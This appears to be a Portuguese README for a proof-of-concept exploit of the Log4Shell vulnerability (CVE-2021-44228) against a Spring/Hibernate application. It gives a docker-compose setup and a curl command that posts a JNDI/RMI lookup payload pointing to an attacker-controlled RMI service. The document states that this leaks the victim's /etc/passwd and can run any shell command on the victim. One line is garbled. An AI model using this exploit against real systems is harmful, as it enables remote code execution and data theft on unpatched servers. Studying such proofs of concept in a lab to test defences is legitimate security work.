
CVE-2021-44228 POC - Spring / Hibernate
Esta POC utiliza Spring / Hibernate, no entanto uma abordagem semelhante de rmi -> desserialização poderia ser usada para desencadear qualquer vulnerabilidade de desserialização
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
Você deve ver o conteúdo do /etc/passwd da vítima aparecer nos logs do container attacker.
Você pode substituir o comando no serviço exploit para executar qualquer comando shell na vítima.
A vítima está executando um aplicativo Spring starter padrão com as dependências "Spring Data JPA" (para Hibernate), "Spring Web" e "H2" (como armazenamento de dados). Apenas 2 modificações foram feitas além disso.
slf4j pelo vulnerávellog4jTodas as dependências estão atualizadas. Não há flags mágicas habilitadas.
A vítima expõe um endpoint que aceita POST em / que registrará a requisição.
O exploit depende de um fork do ysoserial usando o gerador de exploits Hibernate. Para que o exploit funcione com a versão mais recente do Hibernate, será necessário recompilar o ysoserial.